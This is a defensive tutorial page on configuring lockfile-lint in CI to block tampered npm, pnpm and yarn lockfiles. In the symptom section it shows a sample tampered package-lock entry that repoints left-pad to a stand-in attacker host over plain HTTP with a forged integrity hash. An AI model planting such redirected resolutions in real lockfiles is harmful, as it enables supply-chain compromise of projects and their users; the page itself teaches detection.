Back to publishing & release Automate semantic versioning Publish to the npm registry Harden the supply chain

Configuring lockfile-lint for Supply-Chain Safety

A frozen lockfile guarantees you install exactly what the lockfile says — but it never asks whether the lockfile itself is trustworthy. An attacker who can edit your lockfile (a malicious PR, a compromised dependency-update bot) can repoint a familiar package name at their own server over plain HTTP, and a frozen install will fetch it without complaint. lockfile-lint closes that gap by validating every resolved entry against an allowed-hosts list, enforcing HTTPS, and checking integrity hashes before any install runs.

Exact Symptom

The danger is invisible in normal output: a frozen install of a tampered lockfile succeeds silently. The smell is in the lockfile diff itself — a resolved URL that points somewhere it should not:

Exact Symptom The danger is invisible in normal output: a frozen install of a tampered lockfile succeeds silently. Exact Symptom The danger is invisible in normal output: a frozen install of a tampered lockfile succeeds silently.
Exact Symptom — the core idea of this section at a glance.
# package-lock.json (tampered)
"node_modules/left-pad": {
  "version": "1.3.0",
  "resolved": "http://packages.attacker.example/left-pad/-/left-pad-1.3.0.tgz",
  "integrity": "sha512-AAAA...attacker-controlled..."
}

Note two red flags: http:// instead of https://, and a host that is not the registry. Because the attacker also rewrote the integrity hash to match their tarball, npm's own integrity check passes. Without lockfile-lint, CI prints nothing unusual:

added 312 packages, and audited 313 packages in 4s
found 0 vulnerabilities

Root Cause Analysis

Lockfiles record a resolved URL and an integrity hash for every package. The integrity hash only proves the downloaded bytes match what the lockfile expects — if an attacker controls both the resolved URL and the integrity field, the check is self-consistent and passes. Nothing in npm, pnpm, or yarn validates that the host in resolved is a registry you actually trust, or that the scheme is HTTPS. lockfile-lint adds exactly those assertions, blocking resolved-URL tampering and HTTP downgrade attacks at the point of review. It is the integrity layer that complements frozen installs, and a core part of Supply-Chain Security Hardening; the broader discipline of trusting your lockfile is covered in Lockfile Management Strategies.

lockfile-lint validation gates Each resolved entry passes scheme, host, and integrity checks before install proceeds. resolved URL from lockfile https? scheme check host? allowed-hosts integrity? hash present fail: block install pass: install
Any entry that fails the scheme, host, or integrity check blocks the install before a tampered package is fetched.

A lockfile records where every package resolves from, and without a check on those sources, a poisoned lockfile can point a dependency at an unexpected registry or a typosquatted package — a resolution the frozen install will faithfully reproduce. lockfile-lint closes this gap by asserting that every entry resolves from an allowed host over HTTPS, so an injected registry or a git URL smuggled into the lockfile fails the check before the poisoned lockfile is merged. It is a guard on the resolution source, complementing the integrity hash's guard on the resolution content.

The vector this defends against is subtle because a frozen install trusts the lockfile completely. The lockfile is the source of truth for what gets installed, so if an attacker (or a compromised dependency-bump PR) rewrites a resolved URL to point at their registry, a frozen install pulls their package with no warning — the integrity hash matches the attacker's tarball. lockfile-lint breaks this by validating the hosts independently, so a resolution from anywhere but your allow-list is caught regardless of whether its hash is internally consistent.

Resolution & Configuration

Follow these steps to add lockfile-lint as a pre-install gate.

Resolution & Configuration Follow these steps to add lockfile-lint as a pre-install gate. Resolution & Configuration Follow these steps to add lockfile-lint as a pre-install gate.
Resolution & Configuration — the core idea of this section at a glance.
  1. Install it as a dev dependency.

    npm install --save-dev lockfile-lint
  2. Run it against your lockfile with the core validators. Point --path at your lockfile and set --type to match your package manager (npm, pnpm, or yarn).

    npx lockfile-lint \
      --path package-lock.json \
      --type npm \
      --validate-https \
      --allowed-hosts npm \
      --validate-integrity
    • --validate-https rejects any resolved URL that is not HTTPS, blocking HTTP downgrade attacks.
    • --allowed-hosts npm whitelists the public npm registry hostname; every resolved URL must match. The shortcut npm expands to the registry host, so you do not type it literally.
    • --validate-integrity requires a valid integrity field on every entry, rejecting lockfiles with stripped or missing hashes.
  3. Add a private or mirror registry to the allowed hosts. If you publish scoped packages to an internal registry, list its hostname explicitly so legitimate internal resolutions pass:

    npx lockfile-lint \
      --path package-lock.json \
      --type npm \
      --validate-https \
      --allowed-hosts npm npm.internal.yourco.com \
      --validate-integrity
  4. Restrict allowed URL schemes. For yarn lockfiles that may reference git or file protocols, pin the acceptable schemes so an attacker cannot smuggle in a git+ssh or file: entry pointing at hostile code:

    npx lockfile-lint \
      --path yarn.lock \
      --type yarn \
      --allowed-schemes "https:" \
      --allowed-hosts npm yarn \
      --validate-https
  5. Persist the configuration. Add a script so contributors and CI run the identical check, and the flags live in version control rather than in someone's shell history:

    {
      "scripts": {
        "lint:lockfile": "lockfile-lint --path package-lock.json --type npm --validate-https --validate-integrity --allowed-hosts npm npm.internal.yourco.com"
      }
    }

Run lockfile-lint in CI with an allowed-hosts list and HTTPS enforcement:

# npm
npx lockfile-lint --path package-lock.json --allowed-hosts npm --validate-https
# pnpm
npx lockfile-lint --path pnpm-lock.yaml --allowed-hosts npm --validate-https
# CI gate
- run: npx lockfile-lint --path pnpm-lock.yaml --allowed-hosts npm --validate-https

The --allowed-hosts list restricts resolution to registries you trust, and --validate-https rejects any entry resolving over plain HTTP. For a private registry, add its host to the allowed list so internal packages pass while unexpected hosts fail.

CI Integration & Validation

Run the lint as an early step in the security gate, before the dependency install — the whole point is to refuse the lockfile before fetching anything from it.

CI Integration & Validation Run the lint as an early step in the security gate, before the dependency install — the whole point is to refuse the loc CI Integration & Validation Run the lint as an early step in the security gate, before the dependency install — the whole point is to refuse the lockfile before fetching anything from it.
CI Integration & Validation — the core idea of this section at a glance.
# .github/workflows/lockfile-lint.yml
name: Lockfile Lint
on:
  pull_request:
  push:
    branches: [main]

permissions:
  contents: read

jobs:
  lockfile-lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'

      # Validate the lockfile BEFORE installing from it
      - name: Lint lockfile
        run: npm run lint:lockfile

      # Only now is it safe to install
      - run: npm ci --ignore-scripts

Validate locally and confirm it actually rejects bad input:

# Should exit 0 on a clean lockfile
npm run lint:lockfile; echo "exit: $?"

# Prove it catches tampering: temporarily downgrade a resolved URL to http
# in a copy and confirm lockfile-lint exits non-zero.

A failing run prints the offending package and the reason:

detected invalid host(s) for package: left-pad
    expected: registry.npmjs.org
    actual:   packages.attacker.example

Prevention & Guardrails

  • Run lockfile-lint before npm ci so a tampered lockfile is rejected before any download.
  • Keep the flag set in a package.json script, not inline in CI, so local and CI runs are identical.
  • Always combine --validate-https with --allowed-hosts; HTTPS alone still permits an attacker-controlled HTTPS host.
  • Include --validate-integrity so lockfiles with stripped hashes are rejected outright.
  • List every legitimate registry (public, private, mirror) in --allowed-hosts; an empty or wrong list produces false failures that erode trust in the gate.
  • Run it on pull requests so a malicious lockfile edit is caught at review time, not after merge.
Prevention & Guardrails Prevention & Guardrails in production JavaScript package workflows. Prevention & Guardrails Prevention & Guardrails in production JavaScript package workflows.
Prevention & Guardrails — the core idea of this section at a glance.
  • Run lockfile-lint as a CI gate on every push, not just occasionally.
  • Restrict --allowed-hosts to exactly the registries you trust, including your private one.
  • Enforce --validate-https so no dependency resolves over plain HTTP.
  • Combine with an audit threshold and --ignore-scripts for layered install hardening.

What lockfile-lint checks and why it matters

lockfile-lint validates the properties of a lockfile that the integrity hash does not: the host each package resolves from, the protocol (HTTPS versus HTTP), and whether any entry uses a git or non-registry URL. These are the resolution-source properties, distinct from the resolution-content properties the integrity hash covers. A tarball can have a perfectly valid hash and still be malicious if it came from an attacker's registry, which is exactly the gap lockfile-lint closes by asserting the source is on your allow-list.

Source vs content What lockfile-lint checks versus integrity hashes. Check Validates Catches integrity hash content tampered tarball lockfile-lint source + protocol malicious host together both redirect + tamper
lockfile-lint guards the resolution source; the hash guards the content.

This matters because the frozen install — the foundation of reproducible, secure CI — trusts the lockfile absolutely. A frozen install reproduces whatever the lockfile says, including a resolved URL pointing at an unexpected host, so the lockfile itself is a supply-chain surface. An attacker who can influence a dependency-bump pull request, or a compromised tool that rewrites the lockfile, can redirect a resolution without breaking the hash. lockfile-lint is the check that makes the lockfile's sources trustworthy, so the frozen install's trust in the lockfile is justified. Running it as a CI gate on every push means a redirected resolution is caught at the pull request that introduced it, before the poisoned lockfile can be merged and reproduced across every environment.

Layering lockfile-lint into a supply-chain gate

lockfile-lint covers the resolution-source dimension of supply-chain safety, and it is most effective as one check in a layered gate rather than a standalone step. Blocking install scripts stops arbitrary install-time code; an audit threshold catches known-vulnerable versions; provenance verification confirms a package came from its claimed source; and lockfile-lint restricts where packages may resolve from. Each addresses a distinct surface, so a package could pass three checks and fail the fourth — audited-clean but resolved from a malicious host is exactly what lockfile-lint catches.

Layered gate lockfile-lint is the resolution-source layer. --ignore-scripts install-time code audit threshold known CVEs lockfile-lint resolution source provenance verified origin
Each layer covers a distinct surface — stack them for defense in depth.

Structured as one CI security job, these checks measure every push against the whole posture: a frozen install with ignored scripts, a thresholded audit, lockfile-lint for hosts, and npm audit signatures for provenance. Each is fast and deterministic, so the gate adds seconds. The specific contribution of lockfile-lint is that it validates the lockfile's own integrity as a routing document — that its resolutions point where they should — which none of the other checks do. Placing it alongside them turns a collection of individual controls into genuine defense in depth, where an attacker must defeat the source restriction as well as the vulnerability, code-execution, and origin checks rather than any single one.

Handling private registries and monorepos

A lockfile-lint configuration has to account for the legitimate hosts your packages resolve from, which for many teams includes a private registry alongside the public one. Add the private host to the --allowed-hosts list so internal packages resolving from it pass while any unexpected host still fails. The allow-list is the trusted set, so keeping it precise — exactly the public registry and your private one, nothing else — is what makes the check meaningful.

Private + monorepo Allow the private host; one run covers the workspace. allowed-hosts public + private root lockfile whole workspace one CI gate all sources checked
Add your private host to the allow-list; the root lockfile validates every package at once.
# Allow both the public registry and a private host
npx lockfile-lint --path pnpm-lock.yaml \
  --allowed-hosts npm npm.pkg.github.com \
  --validate-https

In a monorepo, the single root lockfile pins the whole workspace's resolutions, so one lockfile-lint run validates every package's sources at once — an efficiency the root lockfile provides. The workspace: protocol entries for internal packages are resolved locally and do not hit a registry host, so they are not a concern for the host check. Keeping the allowed-hosts list in sync with the registries the workspace actually uses, and running the check on the root lockfile in CI, is what extends the resolution-source guarantee across every package in the monorepo with a single gate.

Frequently Asked Questions

Does lockfile-lint replace npm audit or frozen installs? No — they cover different risks. Frozen installs (npm ci) guarantee the lockfile is used verbatim, npm audit flags known vulnerabilities, and lockfile-lint validates that the lockfile's resolved URLs and integrity fields are trustworthy in the first place. Run all three; lockfile-lint is the one that catches resolved-URL tampering and HTTP downgrades that the others miss.

Why isn't the integrity hash enough on its own? The integrity hash only proves the downloaded bytes match what the lockfile expects. If an attacker rewrites both the resolved URL and the integrity field together, the check is internally consistent and passes. lockfile-lint adds the missing assertion that the host and scheme are ones you trust, which the integrity check never validates.

How do I allow a private registry without weakening the gate? List its exact hostname in --allowed-hosts alongside npm. This permits resolutions to your internal registry while still rejecting any URL pointing at an unknown host. Avoid wildcards; enumerate each trusted host explicitly.

Can I use it with pnpm and yarn lockfiles? Yes. Set --type pnpm or --type yarn to match the lockfile format. For yarn, also use --allowed-schemes to block non-HTTPS protocols like git+ssh: or file: that yarn lockfiles can otherwise contain.

What does lockfile-lint protect against that integrity hashes don't?

Integrity hashes verify a tarball's content matches what the lockfile recorded, but not where it came from. lockfile-lint validates the resolution source — the host and protocol — so a dependency redirected to a malicious registry is caught even if its hash is internally consistent.

How do I allow my private registry in lockfile-lint?

Add its host to the --allowed-hosts list alongside the public registry, so internal packages resolving from your private host pass while any unexpected host fails. Keep --validate-https so nothing resolves over plain HTTP.

Is lockfile-lint enough for supply-chain safety on its own?

No — it covers resolution sources only. Layer it with --ignore-scripts (install-time code), an audit threshold (known vulnerabilities), and provenance verification (origin) in one CI gate, so a package must clear every surface, not just the host check.

How do I run lockfile-lint with a private registry?

Add the private host to --allowed-hosts alongside the public registry (--allowed-hosts npm npm.pkg.github.com), so internal packages pass while unexpected hosts fail. Keep --validate-https. In a monorepo, one run on the root lockfile validates every package's sources.

Related

Supply-Chain Security Hardening